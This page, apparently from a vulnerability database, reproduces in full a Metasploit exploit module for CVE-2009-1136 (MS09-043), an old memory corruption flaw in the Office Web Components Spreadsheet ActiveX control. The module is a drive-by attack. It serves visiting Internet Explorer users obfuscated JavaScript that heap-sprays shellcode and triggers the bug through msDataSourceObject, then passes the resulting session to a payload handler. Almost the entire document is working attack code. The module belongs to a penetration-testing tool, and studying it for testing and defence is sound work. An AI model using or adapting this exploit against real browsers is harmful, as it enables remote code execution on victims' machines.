Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Exploits memory corruption in Microsoft OWC Spreadshee

                                                ##
# $Id: ms09_043_owc_msdso.rb 9893 2010-07-20 23:28:47Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption&#39;,
			&#39;Description&#39;    =&#62; %q{
				This module exploits a memory corruption vulnerability within versions 10 and 11 of
				the Office Web Component Spreadsheet ActiveX control. This module was based on
				an exploit found in the wild.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;unknown&#39;, &#39;hdm&#39;, &#39;Ahmed Obied&#39;, &#39;DSR! &#60;xchwarze[at]gmail.com&#62;&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9893 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2009-1136&#39; ],
					[ &#39;OSVDB&#39;, &#39;55806&#39; ],
					[ &#39;MSB&#39;, &#39;MS09-043&#39; ],
					[ &#39;URL&#39;, &#39;http://ahmed.obied.net/software/code/exploits/ie_owc.py&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/9163/&#39; ],
					# broken: [ &#39;URL&#39;, &#39;http://xeye.us/blog/2009/07/one-0day/&#39; ],
					[ &#39;URL&#39;, &#39;http://www.microsoft.com/technet/security/advisory/973472.mspx&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;           =&#62; 1024,
					&#39;BadChars&#39;        =&#62; &#39;&#39;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0&#39;, { &#39;Ret&#39; =&#62; 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Jul 13 2009&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

			@javascript_encode_key = rand_text_alpha(rand(10) + 10)
	end

	def on_request_uri(cli, request)

		# Send a redirect with the javascript encoding key
		#if (!request.uri.match(/\?\w+/))
		#	send_local_redirect(cli, &#34;?#{@javascript_encode_key}&#34;)
		#	return
		#end

		return if ((p = regenerate_payload(cli)) == nil)

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)


		shellcode = Rex::Text.to_unescape(p.encoded)
		retaddr   = Rex::Text.to_unescape([target.ret].pack(&#39;V&#39;))

		js = %Q|
var xshellcode = unescape(&#34;#{shellcode}&#34;);

var xarray = new Array();
var xls = 0x81000-(xshellcode.length*2);
var xbigblock = unescape(&#34;#{retaddr}&#34;);

while( xbigblock.length &#60; xls / 2) { xbigblock += xbigblock; }
var xlh = xbigblock.substring(0, xls / 2);
delete xbigblock;

for(xi=0; xi&#60;0x99*2; xi++) {
	xarray[xi] = xlh + xlh + xshellcode;
}

CollectGarbage();

var xobj;
try {
	xobj = new ActiveXObject(&#34;OWC10.Spreadsheet&#34;);
} catch(err) {
	try {
		xobj = new ActiveXObject(&#34;OWC11.Spreadsheet&#34;);
	} catch(err) {
	}
}

xe = new Array();
xe.push(1);
xe.push(2);
xe.push(0);
xe.push(window);

for(xi=0; xi &#60; xe.length; xi++){
	for(xj=0; xj&#60;10; xj++){
		try { xobj.Evaluate(xe[xi]); } catch(e) { }
	}
}

window.status = xe[3] + &#39;&#39;;

for(xj=0; xj&#60;10; xj++){
	try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
}
|

		# Obfuscate it up a bit
		js = obfuscate_js(js,
			&#39;Symbols&#39; =&#62;  {
				&#39;Variables&#39; =&#62; %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err}
			}
		).to_s


		# Encode the javascript payload with the URI key
		# js = encrypt_js(js, @javascript_encode_key)

		# Fire off the page to the client
		send_response(cli, &#34;&#60;html&#62;&#60;script language=&#39;javascript&#39;&#62;#{js}&#60;/script&#62;&#60;/html&#62;&#34;)

		# Handle the payload
		handler(cli)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1